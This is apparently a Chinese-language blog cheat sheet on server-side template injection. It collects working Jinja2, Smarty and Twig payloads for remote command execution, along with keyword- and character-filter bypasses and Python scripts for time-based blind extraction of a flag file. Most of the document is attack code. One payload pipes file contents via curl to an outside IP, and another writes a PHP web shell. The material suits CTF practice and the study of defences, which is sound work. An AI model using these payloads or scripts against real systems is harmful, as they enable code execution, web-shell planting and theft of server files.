整理一下有关服务端模板注入(s
erver s
ide t
emplate i
njection)的东西
开局一张经典老图,判断类型:
Python的一些特性
在python中,有一些独特的特性:
python中的类均继承于object
基类
python中还有一系列的魔术方法,一些函数的实现也是通过直接调用魔术方法的,常用的魔术方法有:
__init__
: 构造函数,一般是接受类初始化的参数,并且进行一系列初始化的操作
__len__
: 返回对象的长度
__str__
: 返回对象的字符串表示
__getattr__
: 对象是否含有某属性,等价于函数方法getattr(a, 'b')
,相当于a.b
__subclasses__
: 返回当前类的所有子类,一般用于object
类中,然后找到带有os
的模块实现rce
python的类中也有一些魔术属性:
__dict__
: 可以查看内部所有属性名和属性值组成的字典
__class__
:返回当前对象所属的类,例如''.__class__
会返回<class 'str'>
。拿到类后就可以构造函数生成新的对象,如''.__class__(1234)
等价于str(1234)
,即'1234'
__base__
: 返回当前类的基类,例如str.__base__
就会返回<class 'str'>
此外还有一些重要的函数:
__mro__
返回一个包含对象所继承的基类元组,按顺序解析
__globals__
返回所有全局变量
__builtins__
包含当前运行环境中默认的所有函数,如str
、chr
等,可以通过拿到__builtins__
,然后__import__('os').system('')
进行RCE
通过从变量 -> 对象 -> 基类 -> 子类 -> 全局变量
的方式,就可以进行ssti
一般思路:寻找到object
基类后,引入os._wrap_close
,然后寻找popen
即可进行
一些参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 {%set a="test" %}{{a}} url_for get_flashed_messages url_for.__globals__['__builtins__' ] get_flashed_messages.__globals__['__builtins__' ] current_app {{url_for.__globals__['current_app' ].config}} {{get_flashed_messages.__globals__['current_app' ].config}} request request.__init__.__globals__['__builtins__' ].open ('/etc/passwd' ).read() request.args.a request.values.a request.cookies.a request.headers request.form.a request.data request.json config {{config.__init__.__globals__['os' ].popen('dir' ).read()}} cyclet
payload
jinja2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 '' .__class__.__mro__[1 ]{}.__class__.__bases__[0 ] ().__class__.__bases__[0 ] [].__class__.__bases__[0 ] request.__class__.__mro__[x] config.__class__.__mro__[x] {{'' .__class__.__mro__[1 ].__subclasses__()[147 ]}} {{().__class__.__bases__.__getitem__(0 ).__subclasses__()[147 ]}} {{'' .__class__.__mro__[1 ].__subclasses__(137 ).__init__.__globals__['popen' ]('cat /f*' ).read()}} {{'' .__class__.__mro__[1 ].__subclasses__(137 ).__init__.__globals__['popen' ]('ls' ).read()}} {{'' .__class__.__mro__[1 ].__subclasses__(137 ).__init__.__globals__['os' ].system('ls' )}} {{().__class__.__base__.__subclasses__()[71 ].__init__.__globals__['os' ].listdir('.' )}} {{%27 %27. __class__.__mro__[2 ].__subclasses__()[258 ](%27cat%20flasklight/coomme_geeeett_youur_flek%27 ,shell=True ,stdout=-1 ).communicate()[0 ].strip()}} {{'' .__class__.__mro__[1 ].__subclasses__[59 ].__init__.__globals__['__builtins__' ]['file' ]('/etc/passwd' ).read()}} {{[].__class__.__base__.__subclasses__()[59 ].__init____globals__['__builtins__' ]['eval' ]("__import__('os').popen('ls').read()" )}} {{{}.__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['__import__' ]('commands' ).getstatusoutput('ls' )}} {{lipsum.__globals__['os' ].popen['ls' ].read()}} {{lipsum.__globals__.get("os" ).popen('ls' ).read()}} {{lipsum.__globals__.os.popen('ls' ).read()}} {{url_for.__globals__.os.popen('whoami' ).read()}} {{get_flashed_messages.__globals__.os.popen('whoami' ).read()}} {{abc.__init__.__globals__.__builtins__.__import__ ('os' ).popen('whoami' ).read()}} {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval' ]('__import__("os").popen("id").read()' ) }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} http://127.0 .0 .1 :5000 /?id ={%for %0ai%0ain%0a"" |attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f" )|attr("\u005f\u005f\u006d\u0072\u006f\u005f\u005f" )|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f" )(1 )|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f" )()%}{%%0aif%0a(i|attr("\u005f\u005f\u006e\u0061\u006d\u0065\u005f\u005f" ))=="\u0063\u0061\u0074\u0063\u0068\u005f\u0077\u0061\u0072\u006e\u0069\u006e\u0067\u0073" %0a%}{%%0aif%0a(i|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" )|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" ))|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f" )("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f" )|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f" )("\u0065\u0076\u0061\u006c" )("__import__('os').popen('curl http://47.xxxxxxx.241:2333 -d `cat /f*`').read()" )%}{%%0aendif%0a%}{%%0aendif%0a%}{%%0aendfor%0a%}
smarty
smarty是一个基于PHP
开发的php模板引擎,所以其payload与我们熟知的PHP
命令执行十分相似:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 {{phpinfo ()}} {if phpinfo ()}{/if } {{readfile ('/etc/passwd' )}} {{show_source ('' )}} {{passthru ('ls' )}} {{system ('ls' )}} {{exec ()}} {{shell_exec ()}} {Smarty_Internal_Write_File ::writeFile ($SCRIPT_NAME ,"<?php passthru($_GET ['cmd']); ?>" ,self ::clearConfig ())}
twig
1 {{_self.env.registerUndefinedFilterCallback("exec" )}}{{_self.env.getFilter("id" )}}
ssti绕过过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 {{被过滤: 可以使用{%%}代替{{}} .被过滤: 参考官方原文: You can use a dot (.) to access attributes of a variable in addition to the standard Python __getitem__ “subscript” syntax ([]). 也就是说: {{''.__class__}} 相当于{{''['__class__']}} 除此之外,还有: Get an attribute of an object. foo|attr("bar") works like foo.bar just that always an attribute is returned and items are not looked up. 也就是说 foo|attr("bar")相当于foo.bar 即 {{''.__class__}}相当于{{''|arrt("__class__")}} 常用于(.)和中括号([])都被过滤的情况 中括号([])被过滤: 可以利用getitem()来绕过: {{''.__class__.__mro__[2]}} 相当于 {{''.__class__.__mro__.getitem(2)}} 还可以利用pop方法获得值: pop通过删除字典给定值key所对应的值,返回值为被删除的值 当然,删除的话还是需要谨慎使用的,所以可以用比较安全的 get和setdefault 例如: {{lipsum.__globals__.get("os").popen('ls').read()}} {{url_for.__globals__.get('__builtins__')}} //或者是setdefault 当然,要是追溯回去的话,其实他们调用了魔术方法__getattribute__: "".__class__ 相当于"".__getattribute__("__class__")
对于关键字过滤:
1、关键字的拼接
非常常见的方法,在python中ab
是可以又'a'+'b'
拼接而成的,也就是说:__class__
= '__cla'+'ss__'
例如:
1 2 3 {{'' ['__cla' +'ss__' ]['__mr' +'o__' ][1 ]['__subcla' +'sses__' ]()[137 ]['__ini' +'t__' ]['__glo' +'bals__' ]['po' +'pen' ]('ls' ).read()}} 相当于 {{'' .__class__.__mro__[1 ].__subclasses__()[137 ].__init__.__globals__['popen' ]('ls' ).read()}}
但实际上在jinja2
内,"cla""ss"
等同于"class"
1 2 3 {{'' ['__cla' +'ss__' ]}} 也可以写成 {{'' ['__cla' 'ss__' ]}}
2、关键字倒序输出、替换
简单地说就是类似于strrev()
的操作,通过['__ssalc__'][::-1]
输出__class__
:
1 {{'' ['__ssalc__' ][::-1 ]}}
1 2 还能够和__getattribute__一同使用: '' .__getattribute__('__cla' 'ss__' )
当然,倒序输出还可以使用reverse:
1 {{'' ['__ssalc__' |reverse]}}
关键字替换:
1 {{'' ['__claee__' |replace('ee' , 'ss' )]}}
3、ascii转换:
利用python的格式化字符串特性:
1 2 "{0:c}" .format (97 )='a' "{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}" .format (95 ,95 ,99 ,108 ,97 ,115 ,115 ,95 ,95 )='__class__'
1 2 3 {{'' ["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}" .format (95 ,95 ,99 ,108 ,97 ,115 ,115 ,95 ,95 )]}} 相当于 {{'' .__class__}}
4、编码绕过
hex编码、unicode编码、以及八进制都可以,例如:
1 2 3 4 5 6 7 8 9 10 11 hex :"__class__" =="\x5f\x5fclass\x5f\x5f" =="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f" unicode: "__globals__" == "\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F" octal: "__class__" == "\\137\\137\\143\\154\\141\\163\\163\\137\\137" 对于python2的话,还可以利用base64进行绕过 "__class__" ==("X19jbGFzc19f" ).decode("base64" )
5、chr函数,前提是需要通过__builtins__
找到chr函数:
1 2 3 4 5 6 {% set chr =url_for.__globals__['__builtins__' ].chr %} {{"" [chr (95 )%2bchr(95 )%2bchr(99 )%2bchr(108 )%2bchr(97 )%2bchr(115 )%2bchr(115 )%2bchr(95 )%2bchr(95 )]}} {{().__class__.__bases__.__getitem__(0 ).__subclasses__().pop(40 )(chr (47 )%2bchr(101 )%2bchr(116 )%2bchr(99 )%2bchr(47 )%2bchr(112 )%2bchr(97 )%2bchr(115 )%2bchr(115 )%2bchr(119 )%2bchr(100 )).read()}}
6、jinja2
内可以利用~
进行拼接:
1 {%set a='__cla' %}{%set b='ss__' %}{{"" [a~b]}}
7、大小写转换
前提只是过滤小写:
8、attr
当然,前文已经讲过attr能够在同时过滤点号和中括号时使用了:
9、join
1 2 3 4 join单独拼接: "" [['__cla' , 'ss__' ]|join]或者 "" [('__cla' , 'ss__' )|join]
10、利用请求方式绕过:
例如过滤了__class__
1 2 3 {{'' .__class__}} => {{'' [request.args.t1]}}&t1=__class__ {{'' .__class__}} => {{'' [request['args' ]['t1' ]]}}&t1=__class__
如果还过滤了 args,可以使用request['values']和attr
结合绕过
1 2 {{'' .__class__}} => {{'' |attr(request['values' ]['x' ])}}
绕过中括号:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 __getitem__ pop(40 ) {{().__class__.__bases__.__getitem__(0 ).__subclasses__().pop(40 )(chr (47 )%2bchr(101 )%2bchr(116 )%2bchr(99 )%2bchr(47 )%2bchr(112 )%2bchr(97 )%2bchr(115 )%2bchr(115 )%2bchr(119 )%2bchr(100 )).read()}} {{().__class__.__bases__.__getitem__(0 ).__subclasses__().pop(40 )('/etc/passwd' ).read()}} join和getlist拼接: {{abc|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class &a=_&a=_ format {{"%s, %s!" |format (greeting, name)}} 例如 "%c%c%c%c%c%c%c%c%c" |format (95 ,95 ,99 ,108 ,97 ,115 ,115 ,95 ,95 )=='__class__' "" ["%c%c%c%c%c%c%c%c%c" |format (95 ,95 ,99 ,108 ,97 ,115 ,115 ,95 ,95 )]first、last、random first 返回序列的第一个元素 last 返回序列的最后一个元素 random 随机返回序列的一个元素 "" .__class__.__mro__|last()相当于"" .__class__.__mro__[-1 ]
获取单独字符:
1、利用string:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 {{'' .__class__}} 返回<class 'str' > {{('' .__class__|string)[0 ]}} 返回< {{()|select|string}} => <generator object select_or_reject at 0x000002E4286769E0 > {{(()|select|string)[24 ]~ (()|select|string)[24 ]~ (()|select|string)[15 ]~ (()|select|string)[20 ]~ (()|select|string)[6 ]~ (()|select|string)[18 ]~ (()|select|string)[18 ]~ (()|select|string)[24 ]~ (()|select|string)[24 ]}} => __class__
2、利用list配合pop
1 (()|select|string|list ).pop(0 )
绕过config参数
适用于一些题目中将flag设置在config中的题:
如果题目有app.config['FLAG'] = os.environ.pop['FLAG']
,我们可以直接访问{{config['FLAG']}}或者{{config.FLAG}}
得到flag
但是如果过滤了config,我们可以利用self
来间接得到config:
1 2 3 {{self}} => <TemplateReference None > {{self.__dict__._TemplateReference__context.config}} => 同样能获得config
过滤下划线_
利用编码绕过:
1 2 3 4 __class__ => \x5f\x5fclass\x5f\x5f
删除许多模块,但是没删除reload
仅适用于python2,通过reload恢复所有被删除的模块:
同时有大量过滤
例如过滤:
1 下划线、点、反斜杠、单双引号、request等关键字、加号、中括号、数字、命令读取等
思想大体是利用没有过滤的模块(可能如lipsum
)来构造基础payload
比如没过滤lipsum,就可以先构造出基础payload:
1 {{lipsum.__globals__.get("os" ).popen('ls' ).read()}}
然后再考虑如何构造出关键字
这就要利用到上文的获取单独字符的方法和字符串拼接的方法join
进行拼接
然后利用内置的{%set%}
{%print%}
进行变量设置和打印
逐步组装关键字
然后用print打印结果即可
详情可以看flask ssti的新姿势这篇文章
省流的话其实就是,利用{%set one=dict(c=a)|join|count%}
获取到数字
利用pop方法获取到下划线:
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
再利用dict方法和join构造出__globals__
__builtins__
等关键字
然后获取chr函数:
lipsum.__globals__.get('__builtins__').get('chr')
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
qwq
ssti盲注
盲注的困难在于没有回显,所以我们需要利用python的time
库来进行时间盲注:
首先要获取到time库:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsimport timeimport sysurl="xxx?xxx=" res="" for i in range (0 ,1000 ): payload = "{" +"{" +"''.__class__.__mro__[1].__subclasses__()[" +str (i)+"].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')" + "}" + "}" start = time.time() getp = url + payload resp = requests.get(getp) end = time.time() print (resp.status_code) if end-start >=3 : print ("bingo: " +str (i)+" " ,end="\t" ) else : print ("nonono: " +str (i)+" " ,end="\t" )
获取到能够import的参数后,进行盲注:
不知为何用不了ascii
和ord
,只能做一点简单的情况分析了:
当页面传入\
、"
、'
等特殊符号时都有可能会报错,所以这些要加上\
转义(popen内的内容任意修改即可)
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requestsimport timeimport sysurl="xxx" res="" for i in range (0 ,1000 ): left=32 right=128 mid=(left + right) //2 while (left < right): if (chr (mid)== '\'' or chr (mid) == '\"' or chr (mid) == '\\' ): payload = "{%set n=''.__class__.__mro__[1].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat /flag\").read()')%}{%if n[" +str (i) + "]<'" +"\\" + chr (mid) +"'%}{{().__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(2)')}}{%endif%}" else : payload = "{%set n=''.__class__.__mro__[1].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat /flag\").read()')%}{%if n[" +str (i) + "]<'" + chr (mid) +"'%}{{().__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(2)')}}{%endif%}" print (payload) getp = url+payload times = time.time() html = requests.get(getp) timee = time.time() keep = timee - times time.sleep(0.2 ) if keep > 2 : right = mid else : left = mid + 1 mid = (left + right) //2 if mid <= 32 or mid >= 127 : break res+=chr (mid-1 ) print (res) print ("Final Results:" ,res)
而且还有可能会多出一些东西,自己判断一下就好
四处收集的payload
1 2 {{lipsum.__globals__.__builtins__["list" ](lipsum.__globals__.__builtins__["o" "pen" ]("/tmp/fl" "ag" )["re" "ad" ]())}}
某比赛利用request绕过
1 ?sentence={{(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()}}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=ls /
参考文章:
服务端模板注入(SSTI) | micgo’s blog
Y4tacker - SSTI模板注入及绕过姿势
yu22x - SSTI模板注入绕过(进阶篇)